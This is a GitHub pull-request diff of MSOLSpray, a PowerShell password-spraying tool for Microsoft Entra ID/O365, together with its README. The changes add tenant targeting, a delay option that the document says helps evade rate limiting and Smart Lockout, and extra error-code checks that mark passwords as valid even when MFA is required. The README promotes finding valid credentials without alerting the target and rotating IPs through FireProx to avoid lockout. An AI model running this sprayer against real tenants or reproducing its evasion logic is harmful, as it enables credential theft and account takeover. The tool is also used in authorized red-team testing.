Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
147 changes: 136 additions & 11 deletions MSOLSpray.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ function Invoke-MSOLSpray{

<#
.SYNOPSIS
This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
MSOLSpray Function: Invoke-MSOLSpray
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Expand All @@ -12,7 +12,7 @@ function Invoke-MSOLSpray{

.DESCRIPTION

This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.

.PARAMETER UserList

Expand All @@ -34,6 +34,18 @@ function Invoke-MSOLSpray{

The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

.PARAMETER TenantId

The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).

.PARAMETER Delay

Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.

.PARAMETER VerboseErrors

Displays additional error information for troubleshooting authentication issues.

.EXAMPLE

C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Expand All @@ -47,6 +59,13 @@ function Invoke-MSOLSpray{
Description
-----------
This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox.

.EXAMPLE

C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Fall2024! -Delay 5 -Verbose
Description
-----------
This command will spray passwords with a 5 second delay between attempts and display verbose error information.
#>
Param(

Expand All @@ -69,22 +88,61 @@ function Invoke-MSOLSpray{
$URL = "https://login.microsoft.com",

[Parameter(Position = 4, Mandatory = $False)]
[string]
$TenantId = "common",

[Parameter(Position = 5, Mandatory = $False)]
[switch]
$Force,

[Parameter(Position = 6, Mandatory = $False)]
[int]
$Delay = 0,

[Parameter(Position = 7, Mandatory = $False)]
[switch]
$Force
$VerboseErrors
)

$ErrorActionPreference= 'silentlycontinue'

# Input validation
if ([string]::IsNullOrWhiteSpace($UserList)) {
Write-Host -ForegroundColor "red" "[!] Error: UserList parameter is required."
return
}

if (-not (Test-Path $UserList)) {
Write-Host -ForegroundColor "red" "[!] Error: UserList file not found: $UserList"
return
}

if ([string]::IsNullOrWhiteSpace($Password)) {
Write-Host -ForegroundColor "red" "[!] Error: Password parameter is required."
return
}

$Usernames = Get-Content $UserList
$count = $Usernames.count

if ($count -eq 0) {
Write-Host -ForegroundColor "red" "[!] Error: UserList file is empty."
return
}

$curr_user = 0
$lockout_count = 0
$lockoutquestion = 0
$fullresults = @()

Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.")
Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online."
Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online (Entra ID)."
$currenttime = Get-Date
Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime"

if ($Delay -gt 0) {
Write-Host -ForegroundColor "yellow" "[*] Delay between requests: $Delay seconds"
}

ForEach ($username in $usernames){

Expand All @@ -96,7 +154,7 @@ function Invoke-MSOLSpray{
# Setting up the web request
$BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
$PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}
$webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr
$webrequest = Invoke-WebRequest $URL/$TenantId/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr

# If we get a 200 response code it's a valid cred
If ($webrequest.StatusCode -eq "200"){
Expand All @@ -106,8 +164,8 @@ function Invoke-MSOLSpray{
}
else{
# Check the response for indication of MFA, tenant, valid user, etc...
# Here is a referense list of all the Azure AD Authentication an Authorization Error Codes:
# https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes
# Here is a reference list of all the Microsoft Entra ID (Azure AD) Authentication and Authorization Error Codes:
# https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes

# Standard invalid password
If($RespErr -match "AADSTS50126")
Expand All @@ -128,13 +186,20 @@ function Invoke-MSOLSpray{
}

# Microsoft MFA response
ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076"))
ElseIf($RespErr -match "AADSTS50076")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
$fullresults += "$username : $password"
}

# User can complete MFA registration
ElseIf($RespErr -match "AADSTS50079")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded (password is valid)."
$fullresults += "$username : $password"
}

# Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
# Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA)
ElseIf($RespErr -match "AADSTS50158")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
Expand All @@ -161,12 +226,71 @@ function Invoke-MSOLSpray{
$fullresults += "$username : $password"
}

# User password must be reset
ElseIf($RespErr -match "AADSTS50056")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password must be reset."
$fullresults += "$username : $password"
}

# Grant expired or revoked (password was changed/reset)
ElseIf($RespErr -match "AADSTS50173")
{
Write-Output "[*] INFO: The user $username had their password changed or tokens were revoked."
}

# Conditional Access policy blocks token issuance
ElseIf($RespErr -match "AADSTS53003")
{
Write-Output "[*] INFO: Access for $username blocked by Conditional Access policies."
}

# User must enroll for multi-factor authentication
ElseIf($RespErr -match "AADSTS50072")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: User must enroll in MFA (but password is valid)."
$fullresults += "$username : $password"
}

# Strong authentication is required
ElseIf($RespErr -match "AADSTS50074")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: Strong authentication required (MFA enforced)."
$fullresults += "$username : $password"
}

# Application not found in directory
ElseIf($RespErr -match "AADSTS700016")
{
Write-Output "[*] WARNING! Application identifier not found in tenant for $username."
}

# Missing tenant information
ElseIf($RespErr -match "AADSTS90019")
{
Write-Output "[*] WARNING! Missing tenant information for $username."
}

# User trying to sign in with personal Microsoft account
ElseIf($RespErr -match "AADSTS81018")
{
Write-Output "[*] INFO: User $username attempted to sign in with personal Microsoft account (not work/school)."
}

# Unknown errors
Else
{
Write-Output "[*] Got an error we haven't seen yet for user $username"
$RespErr
if ($VerboseErrors) {
Write-Output "[*] Verbose Error Details for ${username}:"
$RespErr
}
}
}

# Add delay between requests if specified (but not after the last user)
if ($Delay -gt 0 -and $curr_user -lt $count) {
Start-Sleep -Seconds $Delay
}

# If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying
Expand All @@ -188,7 +312,7 @@ function Invoke-MSOLSpray{
if ($result -ne 0)
{
Write-Host "[*] Cancelling the password spray."
Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled."
Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Microsoft Entra ID Smart Lockout is enabled."
break
}
}
Expand All @@ -204,4 +328,5 @@ function Invoke-MSOLSpray{
Write-Output "Results have been written to $OutFile."
}
}
Write-Host ""
}
9 changes: 6 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,14 +1,14 @@
# MSOLSpray
A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
A password spraying tool for Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.

BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!

## Why another spraying tool?
Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Azure AD error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more.
Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Microsoft Entra ID (formerly Azure AD) error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more.

So this doubles, as not only a password spraying tool but also a Microsoft Online recon tool that will provide account/domain enumeration. In limited testing it appears that on valid login to the Microsoft Online OAuth2 endpoint it isn't auto-triggering MFA texts/push notifications making this really useful for finding valid creds without alerting the target.

Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Azure Smart Lockout.
Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Microsoft Entra ID Smart Lockout.

**Brought to you by:**

Expand All @@ -29,4 +29,7 @@ Password - A single password that will be used to perform the password spray.
OutFile - A file to output valid results to.
Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
TenantId - The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users).
Delay - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds.
VerboseErrors - Displays additional error information for troubleshooting authentication issues.
```